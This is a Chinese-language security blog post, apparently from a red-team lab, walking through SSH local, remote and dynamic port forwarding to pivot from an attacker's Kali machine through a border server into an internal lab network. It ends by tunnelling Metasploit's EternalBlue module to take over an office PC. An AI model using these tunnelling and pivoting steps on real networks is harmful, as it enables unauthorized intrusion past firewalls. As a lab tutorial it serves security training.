『杂项』使用 SSH 实现三层网络穿透

admin 2023年4月17日02:01:39评论190 views字数 2885阅读9分37秒阅读模式

点击蓝字 关注我们


日期:2023-04-10
作者:Corl7
介绍:使用SSH进行内网穿透。

0x00 前言

在打内网时,通常会使用代理软件进行代理内网流量,而使用SSH也可以进行代理流量,本文主要介绍SSH端口转发的三种方式以及利用SSH进行三层网络穿透。

『杂项』使用 SSH 实现三层网络穿透

0x01 SSH隧道介绍

SSH隧道是一种通过加密的SSH连接传输任意网络数据的方法。它可以用来为任何应用程序添加加密通道,也可以用它来实现VPN和跨防火墙访问局域网的服务。SSH是一个通过不受信任的网络进行安全远程登录和文件传输的标准。

通过SSH隧道传输TCP/IP数据,它还提供了一种使用端口转发保护任何给定应用程序数据流量的方法。采用了这种方法后,应用程序的数据流量都会走SSH的加密连接,从而不会被窃听或拦截。对于本身不支持加密的应用程序来说,使用SSH隧道可以很方便地添加网络安全性。使用SSH进行端口转发有三种方式包括动态转发、本地转发、远程转发。

SSH 使用参数

SSH使用参数如下所示:

└─$ ssh   usage: ssh [-46AaCfGgKkMNnqsTtVvXxYy] [-B bind_interface]           [-b bind_address] [-c cipher_spec] [-D [bind_address:]port]           [-E log_file] [-e escape_char] [-F configfile] [-I pkcs11]           [-i identity_file] [-J [user@]host[:port]] [-L address]           [-l login_name] [-m mac_spec] [-O ctl_cmd] [-o option] [-p port]           [-Q query_option] [-R address] [-S ctl_path] [-W host:port]           [-w local_tun[:remote_tun]] destination [command [argument ...]]

SSH隧道用到的参数及介绍如下所示:

-C:压缩传输,提高传输速度-f:将ssh传输转入后台执行,不占用当前的Shell-N:建立静默连接(建立了连接,但是看不到具体会话)-g:允许远程主机连接本地用于转发的端口-L:本地端口转发-R:远程端口转发-D:动态转发(socks代理)-P:指定ssh端口

0x02 本地转发

SSH进程的本地端口映射可以将本地的某个端口转发到远端指定机器的指定端口,将在本地监听一个端口,所有的访问端口数据都会通过SSH隧道传输到远端对应端口。

2.1 网络环境

攻击机Kali可以访问内网边界服务器,但无法访问内网 Web 服务器,网络拓扑如下所示。

『杂项』使用 SSH 实现三层网络穿透

2.2 利用方法

在攻击机Kali172.20.10.5)上执行如下命令:以内网边界服务器(172.20.10.4)为跳板,将内网Web服务器(10.10.10.2)的22端口,转发到攻击机Kali172.20.10.5)的222端口。

ssh -CfNg -L 222:10.10.10.2:22 root@172.20.10.4

『杂项』使用 SSH 实现三层网络穿透

在攻击机Kali172.20.10.5)上使用SSH连接本地的222端口,即可登录到内网Web服务器(10.10.10.2)上。

ssh root@127.0.0.1 -p 222
『杂项』使用 SSH 实现三层网络穿透

0x03 远程转发

在远程主机上监听一个端口,所有远程主机指定的数据都会通过SSH隧道传输到本地主机的对应端口,远程转发相当于反向代理。

3.1 网络环境

内网边界服务器器双卡并且出网,能够访问到攻击机Kali,内网Web服务器不出网,网络拓扑如下所示。

『杂项』使用 SSH 实现三层网络穿透

3.2 利用方法

在内网边界服务器(172.20.10.4)上执行以下命令:以内网边界服务器(172.20.10.4)为跳板,将攻击机Kali172.20.10.5)的222端口流量转发到内网Web服务器(10.10.10.2)的22端口,访问攻击机的222端口就可以访问内网Web服务器(10.10.10.2)的22端口。

ssh -CfNg -R 222:10.10.10.2:22 root@172.20.10.5

『杂项』使用 SSH 实现三层网络穿透

Kali攻击机(172.20.10.5)执行以下命令:使用SSH命令连接本地的222端口即可登录到内网Web服务器(10.10.10.2)上。

ssh root@127.0.0.1 -p 222

『杂项』使用 SSH 实现三层网络穿透

0x04 动态转发

本地和远程端口转发都限定了目标服务器以及目标服务器的端口,而动态端口转发,攻击机把内网边界作为自己的代理,不限定目标服务器及其端口。

4.1 网络环境

内网边界服务器双网卡并且出网,内网Web服务器不出网,并且搭建了Weblogic,网络拓扑如下所示。

『杂项』使用 SSH 实现三层网络穿透

4.2 利用方法

在攻击机Kali172.20.10.5)上执行以下命令:建立一个socks5代理。

ssh -CfNg -D 6666 root@172.20.10.4

『杂项』使用 SSH 实现三层网络穿透

接下来配置代理工具,添加socks5代理。

sudo vim /etc/proxychains.conf
『杂项』使用 SSH 实现三层网络穿透

使用proxychains代理firefox

proxychains firefox

在浏览器中访问内网Web服务器10.10.10.27001端口,可成功访问到搭建的Weblogic

『杂项』使用 SSH 实现三层网络穿透

0x05 实现三层网络穿透

5.1 网络环境

内网边界服务器双网卡,可以访问到攻击机Kali,内网Web服务器双网卡不出网,办公用户单网卡不出网,并且存在永恒之蓝漏洞,网络拓扑如下图所示:

『杂项』使用 SSH 实现三层网络穿透

5.2 利用方法

在内网边界服务器(172.20.10.4)上执行以下命令:

ssh -CfNg -R 222:10.10.10.2:22 root@172.20.10.5

『杂项』使用 SSH 实现三层网络穿透

在攻击机Kali172.20.10.5)上执行以下命令:

ssh -CfNg -D 0.0.0.0:2222 root@127.0.0.1 -p 222

『杂项』使用 SSH 实现三层网络穿透

接下来配置代理工具,添加socks5代理。

sudo vim /etc/proxychains.conf
『杂项』使用 SSH 实现三层网络穿透

使用proxychains代理msf

『杂项』使用 SSH 实现三层网络穿透

使用ms17_010_eternalblue模块打办公用户的永恒之蓝漏洞。

『杂项』使用 SSH 实现三层网络穿透

成功获取到会话,拿下了办公用户的电脑。

『杂项』使用 SSH 实现三层网络穿透

0x06 总结

使用SSH进行端口转发总的来算还算非常方便,不需要像其它代理一样需要往服务器传文件,但是缺点是需要知道服务器的账号和密码,拿不到服务器密码就没有办法进行端口转发。当你在内网中无法利用其他协议转发代理内网流量时,可以考虑尝试使用SSH协议。

『杂项』使用 SSH 实现三层网络穿透

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『杂项』使用 SSH 实现三层网络穿透

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年4月17日02:01:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『杂项』使用 SSH 实现三层网络穿透http://cn-sec.com/archives/1664842.html

发表评论

匿名网友 填写信息